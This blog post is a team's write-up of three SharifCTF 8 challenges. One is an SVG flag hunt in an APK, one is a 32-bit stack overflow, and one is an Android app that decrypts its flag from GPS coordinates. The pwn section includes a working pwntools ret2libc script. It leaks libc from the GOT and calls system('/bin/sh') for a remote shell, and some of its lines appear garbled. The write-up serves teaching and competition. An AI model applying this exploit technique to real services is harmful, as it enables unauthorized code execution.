Security if God wills it

SkeletonKey, OldSchoolNewAge and Barnamak Writeups (SharifCTF 8)

Over the weekend of the 2nd of February, Inshall'hack participated in the 8th edition of SharifCTF ended up in the 30th position. It was interesting to have some challenges on the Android platform and on Windows, which forced us to step out of our comfort zone and actually work on something different than standard Linux x86 binary challenges.

Because the challenges were quite short, this article will contain the writeups for the SkeletonKey, OldSchoolNewAge and Barnamak challenges, in this order.


Challenge description

  • Category : misc
  • Points : 200
  • Description :
Find the flag :)


All we have is an apk file. After unpacking it and browsing the files, we can see that it is pretty minimal, and that the only thing it does is print a svg image of a skull on the screen.

If we open the assets/logo.svg file, we can see mentions of fonts, character width and related information on a few objects.

We can change their color to another color (we used green) to be able to spot them. We then load the image in an svg editor (here we used

We remove all the unnecessary elements and zoom in on what remains. We can then see the flag on the screen: be278492ae9b998eaebe3ca54c8000de


Challenge description

  • Category: pwn
  • Points: 75
  • Challenge Description:
It all started with a leak bang


We are provided with a tar archive that contains two files: an executable and a shared object of a libc. Let's first run file on them :

$ file vuln4
vuln4:     ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked

We can start assuming that this challenge will have to do with leaking stuff from libc (thanks to the presence of the library and the hint in the challenge description). Let's first take a look at the main function of the program with r2 :

   sym.main ();
│           ; var int local_3ah @ ebp-0x3a
│           ; var int local_4h @ ebp-0x4
│           ; var int local_4h_2 @ esp+0x4
│           0x080484ea      8d4c2404       lea ecx, esp + 4            ; 4
│           0x080484ee      83e4f0         and esp, 0xfffffff0
│           0x080484f1      ff71fc         push dword [ecx - 4]
│           0x080484f4      55             push ebp
│           0x080484f5      89e5           mov ebp, esp
│           0x080484f7      51             push ecx
│           0x080484f8      83ec44         sub esp, 0x44               ; 'D'
│           0x080484fb      83ec0c         sub esp, 0xc
│           0x080484fe      6800860408     push str.This_time_it_is_randomized... ; 0x8048600 ; "This time it is randomized..."
│           0x08048503      e898feffff     call sym.imp.puts           ; int puts(const char *s)
│           0x08048508      83c410         add esp, 0x10
│           0x0804850b      83ec0c         sub esp, 0xc
│           0x0804850e      681e860408     push str.You_should_find_puts_yourself ; 0x804861e ; "You should find puts yourself"
│           0x08048513      e888feffff     call sym.imp.puts           ; int puts(const char *s)
│           0x08048518      83c410         add esp, 0x10
│           0x0804851b      a1a4980408     mov eax, dword [obj.stdout] ; [0x80498a4:4]=0
│           0x08048520      83ec0c         sub esp, 0xc
│           0x08048523      50             push eax
│           0x08048524      e847feffff     call sym.imp.fflush         ; int fflush(FILE *stream)
│           0x08048529      83c410         add esp, 0x10
│           0x0804852c      a1a0980408     mov eax, dword [obj.stdin]  ; [0x80498a0:4]=0
│           0x08048531      83ec04         sub esp, 4
│           0x08048534      50             push eax
│           0x08048535      68c8000000     push 0xc8                   ; 200
│           0x0804853a      8d45c6         lea eax, ebp - 0x3a
│           0x0804853d      50             push eax
│           0x0804853e      e83dfeffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
│           0x08048543      83c410         add esp, 0x10
│           0x08048546      83ec0c         sub esp, 0xc
│           0x08048549      8d45c6         lea eax, ebp - 0x3a
│           0x0804854c      50             push eax
│           0x0804854d      e879ffffff     call sym.copy_it
│           0x08048552      83c410         add esp, 0x10
│           0x08048555      83ec0c         sub esp, 0xc
│           0x08048558      683c860408     push str.done               ; 0x804863c ; "done!"
│           0x0804855d      e83efeffff     call sym.imp.puts           ; int puts(const char *s)
│           0x08048562      83c410         add esp, 0x10
│           0x08048565      b800000000     mov eax, 0
│           0x0804856a      8b4dfc         mov ecx, dword [local_4h]
│           0x0804856d      c9             leave
│           0x0804856e      8d61fc         lea esp, ecx - 4
└           0x08048571      c3             ret

So we have a call to fgets to read 0xc8 characters into a stack-allocated buffer, which is then copied to another buffer using the copy_it function. Let's have a look at it:

│   sym.copy_it ();
│           ; var int local_12h @ ebp-0x12
│              ; CALL XREF from 0x0804854d (sym.main)
│           0x080484cb      55             push ebp
│           0x080484cc      89e5           mov ebp, esp
│           0x080484ce      83ec18         sub esp, 0x18
│           0x080484d1      83ec08         sub esp, 8
│           0x080484d4      ff7508         push dword [ebp + 8]
│           0x080484d7      8d45ee         lea eax, ebp - 0x12
│           0x080484da      50             push eax
│           0x080484db      e8b0feffff     call sym.imp.strcpy         ; char *strcpy(char *dest, const char *src)
│           0x080484e0      83c410         add esp, 0x10
│           0x080484e3      b800000000     mov eax, 0
│           0x080484e8      c9             leave
└           0x080484e9      c3             ret

copy_it uses strcpy, which means that it doesn't take into account the length of the string during the copy; since we are calling it with pointers to stack-allocated buffers things are going to get nasty. If we try to input a large number of chars, we get a segmentation fault and the control of EIP. We need to build a strategy to exploit this.

What we know: - ASLR is enabled; - the NX bit is enabled; - the calling convention puts the arguments on the stack; - only a few libc functions are available to us: fflush, fgets, strcpy, and puts).


Since the arguments are on the stack, we can build our own fake stack frames to call functions. Considering the available functions, we can see that we can use puts, which will allow us to read arbitrary memory locations; and this is where the leaking part of this challenge lies: we can leak the addresses of libc functions by reading from the GOT with puts, and build on that. We can outline the following strategy :

  1. call puts(address of fgets) and leak the address of fgets;
  2. compute the base address of the libc (leaked fgets - fgets in libc);
  3. compute the address of the system function;
  4. compute the address of "/bin/sh" in the libc;
  5. return to _start;
  6. call system("/bin/sh");
  7. ???
  8. Profit!

Note : returning to _start allows us to reset the stack to an uncorrupted state, and to exploit the program again without actually crashing it (and re-randomizing the addresses again).

Then, we just have to navigate to the ctfuser home directory and read the flag!

$ cat /home/ctfuser/flag


from pwn import *

overflow_offset = 22

puts_bin_addr = 0x80483a0
fgets_got = 0x804986c

main_addr = 0x80484ea
_start_addr = 0x80483d0

fgets_libc_addr = 0x0005e150 # 0x00065c50 locally
bin_sh_libc_addr = 0x0015ba0b # 0x0017882a locally
system_libc_addr = 0x0003ada0 # 0x0003c7d0 locally

# Goal : Leak puts addr and call system
# step 1 : Leak fgets
# - Build a false stack frame
# - Call puts with delta GOT offset as argument
# - Read addr and compute delta

p = remote("",4801)

stage1 = "A"*overflow_offset
stage1 += p32(puts_bin_addr)
stage1 += p32(_start_addr) # return address
stage1 += p32(fgets_got)"Leaking fgets got ...")

leak = p.recv(4096)

fgets_got_entry = u32(leak[0:4])"fgets got address : {}".format(hex(fgets_got_entry)))

libc_base_addr = fgets_got_entry - fgets_libc_addr

bin_sh_addr = libc_base_addr + bin_sh_libc_addr
system_addr = libc_base_addr + system_libc_addr"libc base addr is : {}".format(hex(libc_base_addr)))"/bin/sh string addr is : {}".format(hex(bin_sh_addr)))"system addr is : {}".format(hex(system_addr)))

# step 2 : exploit
# - Call main again
# - Call system("/bin/sh")
# - Profit !"Getting remote shell ...")
stage2 = "A"*overflow_offset
stage2 += p32(system_addr)
stage2 += p32(_start_addr)
stage2 += p32(bin_sh_addr)


# Remote shell


Challenge description

  • Category: reverse
  • Points: 200
  • Description:
Run the application and capture the flag!


The application is an apk file, meaning we can easily decompile it. We use for this job. To avoid missing anything, we also decompile the apk using apktool.

At first glance the apk doesn't seem to contain a lot of code, and does not contain any native library, which is a good sign and will make our work easier.

The first elements to look out for are obvious encryption attempts such as unusual strings, or raw byte arrays. In the file, we stumble upon three pretty promising functions:

    class C02611 implements OnClickListener {
        C02611() {

        public void onClick(DialogInterface context, int which) {
            if (C0259c.m5a() || C0259c.m6b() || C0259c.m7c()) {
                int[] aa1 = new int[]{147, 146, 71, 53, 172, 150, 128, 117, 124, 141, 164, 118, 173, 163, 172, 139, 159, 173, 166, 114, 125, 137, 60, 112, 135, 136, 152, 112, 172, 153, 136, TransportMediator.KEYCODE_MEDIA_PAUSE, 151, 172, 175, 79, 134, 136, 75, 116, 135, 115, 135, TransportMediator.KEYCODE_MEDIA_RECORD, 125, 55, 147, 116, 157, 55, 168, TransportMediator.KEYCODE_MEDIA_PLAY, 134, 76, 158, 52, 124, 163, 125, 75, 173, 164, 67, 57};
                String Res = ChallengeFragment.iia(new int[]{162, 136, 133, 131, 68, 141, 119, 68, 169, 160, 49, 68, 171, TransportMediator.KEYCODE_MEDIA_RECORD, 68, 168, 139, 138, 131, 112, 141, 113, 128, 129}, String.valueOf((int) Math.round(ChallengeFragment.this.location.getLatitude())));
                Toast.makeText(ChallengeFragment.this.getActivity().getBaseContext(), Res, 0).show();
                ChallengeFragment.this.textViewLatitude1 = (TextView) ChallengeFragment.this.view.findViewById(;
   public boolean m11b() {
        Integer i = Integer.valueOf(Integer.parseInt("2C", 16));
        int aat = i.intValue() + 1;
        int bbt = (-Integer.valueOf(Integer.parseInt("5B", 16)).intValue()) - 2;
        if (this.location == null) {
            return false;
        if (((int) this.location.getLatitude()) == aat && ((int) this.location.getLongitude()) == bbt) {
            ((Vibrator) this.context.getSystemService("vibrator")).hasVibrator();
            Toast.makeText(this.context, getString(C0257R.string.string_a), 0).show();
            return true;
        Toast.makeText(this.context, getString(C0257R.string.string_b), 0).show();
        return false;
  private static String iia(int[] input, String key) {
        String output = "";
        for (int i = 0; i < input.length; i++) {
            output = output + ((char) ((input[i] - 48) ^ key.charAt(i % (key.length() - 1))));
        return output;

The first function seems to decrypt an array using the third one, and using the current latitude (casted to int and then to String) as a key.

Interestingly, the second function seems to make comparisons based on latitude and longitude. In order for this function to return true, we need to have a latitude of 0x2C + 0x1 = 45 and a longitude of -0x5b - 0x2 = -93. Now that we have what we suppose are the right coordinates, we can decrypt the array from the first function using the latitude we found.

We get the following string: "Flag is MD5 Of Longtiude"

Our key being an int converted to a string, we just have to do the following:

$ echo -ne "-93" | md5sum
87a20a335768a82441478f655afd95fe  -

And the flag is: SharifCTF{87a20a335768a82441478f655afd95fe}

Wrapping up

As in every CTF competition, some things could have been improved here. The evaluation of the difficulty of the challenges (and thus the evaluation of their worth) could have been better, as the points hardly reflected how hard a challenge was. Nevertheless, it was overall a very enjoyable CTF, which we look forward to participate in again next year!

comments powered by Disqus

Receive Updates